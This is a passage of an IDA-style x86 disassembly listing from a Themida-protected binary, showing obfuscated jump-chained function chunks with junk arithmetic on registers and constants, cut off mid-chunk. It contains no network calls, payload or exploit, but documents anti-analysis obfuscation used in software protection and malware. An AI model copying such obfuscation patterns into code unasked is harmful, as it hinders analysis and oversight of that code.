loc_5AA1B6:				; CODE XREF: sub_5AA500-379Bj
					; sub_5A7343+4683j
		mov	esi, edi
		pop	edi
		xor	esi, 0C45D2329h
		push	ecx
		jmp	loc_59B44C
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5AA1C5:				; CODE XREF: sub_5A1B2A+3106j
		sub	eax, 1
		add	eax, 0F97C255Fh
		jmp	loc_59D8AC
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5AA1D4:				; CODE XREF: sub_59D99C+878Bj
					; sub_59C53B+F5DCj
		dec	edx
		add	edx, 13CD150Ch
		sub	edx, 6180316h
		jmp	loc_5AC3B8
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597C68


loc_5AA1E6:				; CODE XREF: sub_597C68+6D17j
		add	esp, 4
		inc	eax
		jmp	loc_5AA3C2
; END OF FUNCTION CHUNK	FOR sub_597C68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_5AA1EF:				; CODE XREF: sub_5AE6FD-F6Ej
		push	cx
		push	bx
		jmp	loc_5A2595
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------


loc_5AA1F8:				; CODE XREF: Themida_:005AD00Fj
		or	eax, 503E3507h
		jb	loc_59B473
		and	eax, 17626CF4h
		jmp	loc_5A7004
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5AA20D:				; CODE XREF: sub_5ACD64-CD51j
		shl	ecx, 3
		xor	ecx, 482640Ch
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
		xchg	ebx, [esp-14h+arg_10]
		mov	esp, [esp-14h+arg_10]
		sub	esp, 4
		mov	[esp-10h+arg_C], eax
		mov	eax, 4
		add	esi, 235F1CB3h
		jmp	loc_5A6F07
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------


loc_5AA23E:				; CODE XREF: Themida_:005A52C2j
		add	ebx, 1C7A30B1h
		sub	ebx, edi
		sub	ebx, 1C7A30B1h
		pop	edi
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_59EA53

; =============== S U B	R O U T	I N E =======================================



sub_5AA256	proc near		; CODE XREF: sub_5A1B2A+2A4Fj

var_E		= dword	ptr -0Eh
arg_2		= dword	ptr  6
arg_6		= dword	ptr  0Ah
arg_A		= dword	ptr  0Eh

; FUNCTION CHUNK AT 0059B315 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059E52A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059FB7D SIZE 0000004B BYTES
; FUNCTION CHUNK AT 005A3219 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A79A3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AEAA9 SIZE 0000001F BYTES

		push	bx
		mov	bh, 8Ah
		jmp	loc_5A79A3
sub_5AA256	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FDC7


loc_5AA25F:				; CODE XREF: sub_59FDC7+1EA7j
		mov	ebx, ecx
		pop	ecx
		pop	ebp
		xor	eax, ebx
		push	[esp+0Ch+var_C]
		mov	ebx, [esp+10h+var_10]
		push	ebp
		jmp	loc_5A6C84
; END OF FUNCTION CHUNK	FOR sub_59FDC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5AA271:				; CODE XREF: sub_5A8C33-D711j
					; Themida_:005A08B9j
		pop	edx
		add	esp, 4
		jmp	loc_5AE1CD
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_5AA27D:				; CODE XREF: Themida_:0059C626j
					; sub_5AE6FD+67Aj
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp+0]
		mov	eax, [esp+4+var_4]
		add	esp, 4
		push	edi
		push	7896h
		push	esp
		pop	[esp+0Ch+var_C]
		add	[esp+8+var_8], 4
		pop	edi
		push	eax
		mov	eax, 51C0148Fh
		jmp	loc_598EEE
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A438E


loc_5AA2A6:				; CODE XREF: sub_5A438E+190Aj
		pop	edx
		jmp	loc_5A427C
; END OF FUNCTION CHUNK	FOR sub_5A438E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA46D


loc_5AA2AC:				; CODE XREF: sub_5AA46D+60Fj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+4+var_4]
		pop	esp
		jmp	loc_5A4D36
; END OF FUNCTION CHUNK	FOR sub_5AA46D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_5AA2BD:				; CODE XREF: sub_597F0C+B83Cj
		sub	esi, eax
		pop	eax
		push	esi
		push	[esp+arg_0]
		pop	esi
		pop	dword ptr [esp+0]
		mov	esp, [esp-4+arg_0]
		jmp	loc_5A7EDE
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5AA2D1:				; CODE XREF: sub_599059+B3Dj
		push	edx
		mov	edx, 4
		add	esi, edx
		jmp	loc_5A849E
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE0B5


loc_5AA2DE:				; CODE XREF: sub_5AE0B5-88Aj
		mov	[esp+10h+var_10], eax
		mov	eax, 78DE4D6Eh
		neg	eax
		jnb	loc_5A13EC
		jmp	sub_5ACC65
; END OF FUNCTION CHUNK	FOR sub_5AE0B5
; ---------------------------------------------------------------------------


loc_5AA2F3:				; CODE XREF: Themida_:005A5726j
		push	edx
		mov	edx, 4
		jmp	loc_5A5C94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5AA2FE:				; CODE XREF: sub_59D99C+D82j
		mov	dx, [esp+0]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 2
		jmp	loc_5A35F9
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5AA313:				; CODE XREF: sub_59B707+7D61j
		and	ah, 0CAh
		dec	ah
		inc	ah
		sub	ah, 75h
		jmp	loc_59CAA3
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5AA322:				; CODE XREF: sub_599059+256Aj
		sub	edx, 682D4C79h
		jbe	loc_59C04F
		xor	edx, 98633D8Dh
		sub	edi, 695A282Dh
		pop	ecx


loc_5AA33B:				; CODE XREF: sub_5A8C33+35B1j
		add	[esp+8], ebx
		pop	ebx
		jmp	sub_5A02EA
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5AA345:				; CODE XREF: sub_59D99C+94DFj
		sub	eax, 7E15CF8h
		jmp	loc_5A6C6F
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C342


loc_5AA34F:				; CODE XREF: sub_59C342+12303j
		xor	esi, 7F5F3832h
		and	esi, 652B3C01h
		jmp	loc_5A03FE
; END OF FUNCTION CHUNK	FOR sub_59C342
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC402


loc_5AA360:				; CODE XREF: sub_5AC402-D6CCj
		push	ecx
		mov	cl, 89h
		dec	cl
		add	cl, 79h
		jmp	loc_5AC265
; END OF FUNCTION CHUNK	FOR sub_5AC402
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DC


loc_5AA36D:				; CODE XREF: sub_5AB3DC-49F8j
		pop	ecx
		jmp	loc_5A3417
; END OF FUNCTION CHUNK	FOR sub_5AB3DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADCDE


loc_5AA373:				; CODE XREF: sub_5ADCDE+1Bj
		xor	[esp+0], ecx
		xor	ecx, [esp+0]
		mov	esp, [esp+0]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	[esp+8+var_4]
		pop	ecx
		jmp	loc_5A479C
; END OF FUNCTION CHUNK	FOR sub_5ADCDE

; =============== S U B	R O U T	I N E =======================================



sub_5AA396	proc near		; CODE XREF: sub_59D99C-CA8j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059CC11 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A20DA SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005AABFE SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005AE87C SIZE 0000000A BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edx
		pop	dword ptr [edi+24h]
		push	dword ptr [esp+0]
		mov	edx, [esp+4+var_4]
		push	edi
		sub	esp, 4
		mov	[esp+0Ch+var_C], esp
		add	[esp+0Ch+var_C], 4
		pop	edi
		push	ebx
		jmp	loc_5AE87C
sub_5AA396	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5AA3BA:				; CODE XREF: sub_5A8D43+505Dj
		push	[esp-4+arg_0]
		jmp	loc_5AB7D9
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597C68


loc_5AA3C2:				; CODE XREF: sub_597C68+12582j
		push	eax
		jmp	loc_5A2C1E
; END OF FUNCTION CHUNK	FOR sub_597C68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9B76


loc_5AA3C8:				; CODE XREF: sub_5A9B76-9396j
		push	[esp-8+arg_4]
		pop	ecx
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_5A5236
; END OF FUNCTION CHUNK	FOR sub_5A9B76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABA9B


loc_5AA3D8:				; CODE XREF: sub_5ABA9B-81CFj
		xchg	esi, [esp+8+var_8]
		jmp	loc_5A9B9B
; END OF FUNCTION CHUNK	FOR sub_5ABA9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC402


loc_5AA3E0:				; CODE XREF: sub_5AC402-198j
		sub	bh, 24h
		add	ch, 9Dh
		add	ch, bh
		sub	ch, 9Dh
		pop	ebx
		xor	al, ch
		pop	ecx
		jmp	loc_5A35C9
; END OF FUNCTION CHUNK	FOR sub_5AC402
; ---------------------------------------------------------------------------


loc_5AA3F4:				; CODE XREF: Themida_:loc_5A9EA4j
		sub	ebx, 63984046h
		not	ebx
		neg	ebx
		add	ebx, 6B006B49h
		jmp	loc_5A6477
; ---------------------------------------------------------------------------


loc_5AA409:				; CODE XREF: Themida_:005A3AA3j
		jmp	loc_59D798
; ---------------------------------------------------------------------------


loc_5AA40E:				; DATA XREF: Themida_:00597908o
		mov	ax, [esp]
		jmp	loc_59ED90
; ---------------------------------------------------------------------------


loc_5AA417:				; CODE XREF: Themida_:005A3EAFj
		push	esi
		push	esp
		pop	esi
		jmp	sub_59852D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_5AA41F:				; CODE XREF: sub_59A932-498j
					; sub_5AC95F-A3A9j
		dec	[esp+0Ch+var_C]
		pushf
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5AA428:				; CODE XREF: sub_59C53B+49F9j
					; sub_599059+AB76j
		sub	ebp, eax
		pop	eax
		xor	ebp, 7D4640F5h
		sub	ebp, 0FFFFFFFFh
		jmp	loc_599D70
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5AA43C:				; CODE XREF: sub_5A7343-A9BFj
		add	ebx, edx
		pop	edx
		mov	ebp, [esp+8+var_8]
		jmp	loc_5AF1FF
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5AA447:				; CODE XREF: sub_59D99C+3BEFj
		add	ecx, edi
		pop	edi
		jmp	loc_5AC6B3
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5AA44F:				; CODE XREF: sub_5A8C33+3495j
		mov	edi, 6D122F9Fh
		and	edi, 33AC4B81h
		jge	loc_599337
		add	edi, 6E194AF1h
		jz	loc_5A83A9
		pop	edx
; END OF FUNCTION CHUNK	FOR sub_5A8C33

; =============== S U B	R O U T	I N E =======================================



sub_5AA46D	proc near		; CODE XREF: sub_5A1ED0-8AA2j

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059A273 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059B431 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059D676 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059E4FD SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059EBDE SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059EF74 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059FE22 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A1F8F SIZE 0000003C BYTES
; FUNCTION CHUNK AT 005A405B SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A4332 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A4938 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A4B98 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A4D36 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A6E80 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005AA2AC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AAA79 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005ABCEE SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005AC1C8 SIZE 0000000A BYTES

		sub	esp, 4
		mov	[esp+4+var_4], eax
		push	dword ptr [esp+4]
		jmp	loc_59B431
sub_5AA46D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D95F


loc_5AA47F:				; CODE XREF: sub_59D95F-4CE7j
		pop	ebp
		add	esp, 4
		jmp	loc_59DCEC
; END OF FUNCTION CHUNK	FOR sub_59D95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7CF9


loc_5AA48B:				; CODE XREF: sub_5A7CF9-DDCDj
		add	ecx, 4
		jmp	loc_5A36C6
; END OF FUNCTION CHUNK	FOR sub_5A7CF9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_5AA493:				; CODE XREF: sub_5A3F42-47F8j
		add	esp, 4
		add	edi, 4
		xor	edi, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], edi
		xor	edi, [esp+0Ch+var_C]
		jmp	loc_59E2F4
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_5AA4A7:				; CODE XREF: sub_5A91EC+3A38j
		mov	ebx, eax
		jmp	loc_598DA2
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	5A7Ch
		mov	[esp], ebx
		mov	ebx, esp
		push	280Bh
		jmp	loc_5ACACD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D67


loc_5AA4C6:				; CODE XREF: sub_598D67+11CD2j
		add	esp, 4
		shl	esi, 4
		push	ebp
		mov	ebp, 442D10F4h
		sub	esi, 0BA924F0h
		add	esi, ebp
		add	esi, 0BA924F0h
		jmp	loc_59D000
; END OF FUNCTION CHUNK	FOR sub_598D67
; ---------------------------------------------------------------------------


loc_5AA4E8:				; CODE XREF: Themida_:0059E463j
		inc	ebp
		neg	ebp
		shl	ebp, 2
		xor	ebp, 11321805h
		sub	ebx, ebp
		pop	ebp
		mov	eax, ebx
		pop	ebx
		push	edx
		jmp	loc_59B127

; =============== S U B	R O U T	I N E =======================================



sub_5AA500	proc near		; CODE XREF: sub_59A03D+76DCj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00597EDD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00598A5C SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A0F39 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A1315 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A5DC2 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A6D56 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A72F1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A7482 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A8E45 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AADF3 SIZE 00000016 BYTES

		push	ebx
		mov	ebx, 5465F452h
		jmp	loc_598A5C
sub_5AA500	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_5AA50B:				; CODE XREF: Themida_:005A0DAEj
		mov	eax, 0F955D13Bh
		xor	ebp, eax
		pop	eax
		push	edx
		mov	edx, ebp
		mov	eax, edx
		pop	edx
		pop	ebp
		add	ebx, 1236081Dh
		add	ebx, eax
		sub	ebx, 1236081Dh
		jmp	loc_5AE9E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A71A8


loc_5AA52D:				; CODE XREF: sub_5A71A8+Ej
		add	ebp, 4
		xchg	ebp, [esp+0]
		jmp	loc_5984D2
; END OF FUNCTION CHUNK	FOR sub_5A71A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5AA53B:				; CODE XREF: sub_59B707+D49Ej
		jle	loc_59BA12
		jmp	loc_5AD862
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------


loc_5AA546:				; CODE XREF: Themida_:0059EED8j
		push	esp
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 148A14AEh
		push	ecx
		jmp	loc_59F8ED
; ---------------------------------------------------------------------------


loc_5AA55C:				; CODE XREF: Themida_:005A1B4Fj
		sub	ebx, 63984046h
		not	ebx
		neg	ebx
		add	ebx, 6B006B49h
		mov	edi, ebx
		pop	ebx
		add	ebx, 141E4B65h
		sub	ebx, 5AD94AF8h
		add	ebx, edi
		add	ebx, 5AD94AF8h
		push	ebp
		jmp	loc_59CAC2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1340


loc_5AA589:				; CODE XREF: sub_5A1340-6D0Aj
		mov	ah, cl
		pop	ecx
		jmp	loc_597D5F
; END OF FUNCTION CHUNK	FOR sub_5A1340
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0F44


loc_5AA591:				; CODE XREF: sub_5A0F44:loc_5A0E52j
		inc	edx
		jnz	loc_5AAD2A
		sub	edx, 2B89F585h
		push	edx
		pop	ecx
		pop	edx
		mov	ebx, 7AAA1E35h


loc_5AA5A6:				; CODE XREF: sub_5AE0B5-5927j
		mov	[esp+0], ebx
		push	esp
		jmp	loc_59AA7F
; END OF FUNCTION CHUNK	FOR sub_5A0F44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A484D


loc_5AA5AF:				; CODE XREF: sub_5A484D+19j
		sub	ebp, 55F0560Ah
		jz	loc_59E91B
		jmp	loc_5A7F86
; END OF FUNCTION CHUNK	FOR sub_5A484D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5AA5C0:				; CODE XREF: sub_5A1B2A+EE7j
		mov	dl, bl
		mov	ah, dl
		jmp	loc_59BC7A
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5AA5C9:				; CODE XREF: sub_59D99C+F988j
		mov	ebx, [esp+16h+var_18+2]
		push	2DB9h
		mov	[esp+1Ah+var_1C+2], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_5A6E71
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_5AA5E5:				; CODE XREF: Themida_:0059831Bj
		mov	ebp, [esp]
		add	esp, 4
		pop	edx
		jmp	loc_5AD617
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACB72


loc_5AA5F4:				; CODE XREF: sub_5ACB72-F8FCj
		mov	[esp+4+var_4], eax
		mov	eax, esp
		jmp	sub_5A9B76
; END OF FUNCTION CHUNK	FOR sub_5ACB72
; ---------------------------------------------------------------------------


loc_5AA5FE:				; CODE XREF: Themida_:0059E3CFj
		not	eax
		push	334Bh
		mov	[esp], ebx
		mov	ebx, 197B42A5h
		or	ebx, 738F5CA5h
		push	edx
		mov	edx, 5CFD606Eh
		add	ebx, edx
		pop	edx
		jmp	loc_5AC65A
; ---------------------------------------------------------------------------


loc_5AA621:				; CODE XREF: Themida_:005AEBD6j
		jle	loc_5A6D25
		or	ebp, 455E493Dh
		neg	ebp
		jmp	loc_5A7D30
; ---------------------------------------------------------------------------


loc_5AA634:				; CODE XREF: Themida_:005A1F48j
		mov	esi, eax
		pop	eax
		jmp	loc_5AE188
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE0B5


loc_5AA63C:				; CODE XREF: sub_5AE0B5-134CAj
		push	ecx
		mov	ecx, 40164BDh
		sub	esi, 0D0334D6h
		sub	esi, ecx
		add	esi, 0D0334D6h
		pop	ecx
		jmp	loc_59E4C9
; END OF FUNCTION CHUNK	FOR sub_5AE0B5
; ---------------------------------------------------------------------------


loc_5AA656:				; CODE XREF: Themida_:005ABEFAj
		sub	ebx, eax
		pop	eax
		add	ebx, 5E622573h
		add	ebx, 4B8F211Ah
		add	ebx, eax
		sub	ebx, 4B8F211Ah
		push	edi
		mov	edi, 75260A52h
		add	edi, 0E93C1B21h
		sub	ebx, edi
		pop	edi
		push	ebx
		push	esp
		jmp	loc_59AD8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5AA683:				; CODE XREF: sub_599059+6532j
		push	7577h
		mov	[esp-6+arg_0+2], ecx
		jmp	loc_5A4510
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE1A9


loc_5AA690:				; CODE XREF: sub_5AE1A9-BBEj
		sub	eax, 4789118Fh
		mov	esi, eax
		pop	eax
		shl	esi, 3
		jmp	sub_5AC95F
; END OF FUNCTION CHUNK	FOR sub_5AE1A9
; ---------------------------------------------------------------------------


loc_5AA6A0:				; CODE XREF: Themida_:00599D95j
		mov	edx, 18E02CE5h
		jmp	loc_5AB8C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_5AA6AA:				; CODE XREF: sub_5AE6FD-7DFBj
		sub	cl, 0ECh
		mov	al, cl
		pop	ecx
		not	al
		jmp	loc_5A1D68
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	esi
		push	esp
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_5A3E07
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1ED0


loc_5AA6C8:				; CODE XREF: sub_5A1ED0-4936j
		mov	esi, 7F78086Bh
		add	[esp+8], esi
		jmp	loc_59AD21
; END OF FUNCTION CHUNK	FOR sub_5A1ED0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5AA6D6:				; CODE XREF: sub_5A1B2A+BB51j
		mov	edx, esp
		add	edx, 4
		jmp	loc_5AE7BE
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_5AA6E3:				; CODE XREF: sub_59A932+142EEj
		mov	esi, 222C6BCBh
		and	ecx, esi
		jmp	loc_599137
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5AA6EF:				; CODE XREF: sub_5A8D43-525Bj
		pop	edx
		jmp	loc_5A1FF1
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5AA6F5:				; CODE XREF: sub_59B707:loc_59BA12j
		xor	edi, 4FE27449h
		jmp	loc_5A1278
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_5AA700:				; CODE XREF: sub_59C53B+9151j
		push	edi
		push	[esp+0Ch+var_8]
		pop	edi
		pop	[esp+0Ch+var_C]
		mov	esp, [esp+8+var_8]
		push	[esp+8+var_8]
		pop	ecx
		jmp	loc_59811A
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACCE


loc_5AA715:				; CODE XREF: sub_59ACCE+7F7Aj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+4+var_4]
		jmp	loc_5A7581
; END OF FUNCTION CHUNK	FOR sub_59ACCE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A28BE


loc_5AA729:				; CODE XREF: sub_5A28BE-2843j
		mov	cl, dl
		pop	edx
		jmp	loc_59F358
; END OF FUNCTION CHUNK	FOR sub_5A28BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5AA731:				; CODE XREF: sub_5ACD64-190Dj
		push	esi
		mov	esi, 1C461B93h
		mov	ebp, 75C219A2h
		jmp	loc_59CECB
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0F44


loc_5AA741:				; CODE XREF: sub_5A0F44-3939j
		push	[esp-4+arg_0]
		jmp	loc_5A9062
; END OF FUNCTION CHUNK	FOR sub_5A0F44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8F00


loc_5AA749:				; CODE XREF: sub_5A8F00-1725j
		sub	ebp, edi
		mov	edi, [esp+0Ch+var_C]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5A7915
; END OF FUNCTION CHUNK	FOR sub_5A8F00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A95E0


loc_5AA75C:				; CODE XREF: sub_5A95E0-98DBj
		push	edx
		mov	edx, 3F837B7Dh
		inc	edx
		not	edx
		or	edx, 66B73768h
		sub	edx, 8FB4A0B8h
		or	ebx, edx
		pop	edx
		shr	ebx, 2
		jmp	loc_59A7EC
; END OF FUNCTION CHUNK	FOR sub_5A95E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0F44


loc_5AA77C:				; CODE XREF: sub_5A0F44-CEj
		pop	esp
		mov	[esp+0], ebp
		push	esp
		pop	ebp
		push	ebx
		mov	ebx, 16D562Dh
		sub	ebx, 0FFFFFFFFh
		push	ebp
		mov	ebp, 41FF4A85h
		shl	ebp, 2
		not	ebp
		shl	ebp, 1
		xor	ebp, 0F168FDFCh
		xor	ebx, ebp
		pop	ebp
		sub	ebp, 54D615A7h
		jmp	loc_5A235C
; END OF FUNCTION CHUNK	FOR sub_5A0F44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5AA7AC:				; CODE XREF: sub_5AC95F-142B3j
		sub	esi, 3DEA32BAh
		pop	ebp
		and	eax, esi
		push	[esp-8+arg_4]
		jmp	loc_5AAC28
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E640


loc_5AA7BD:				; CODE XREF: sub_59E640+E3BAj
		pop	ebp
		add	eax, 30330CFEh
		not	eax
		push	ebp
		mov	ebp, 49DF6067h
		add	ebp, 54E0616Ah
		xor	eax, ebp
		pop	ebp
		sub	ecx, 280179Dh
		add	ecx, eax
		jmp	sub_5AC9FF
; END OF FUNCTION CHUNK	FOR sub_59E640
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E1B6


loc_5AA7E1:				; CODE XREF: sub_59E1B6-24F5j
		mov	[esp-4+arg_0], eax
		push	5AD6h
		mov	[esp+0], esp
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		jmp	loc_59AE1D
; END OF FUNCTION CHUNK	FOR sub_59E1B6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


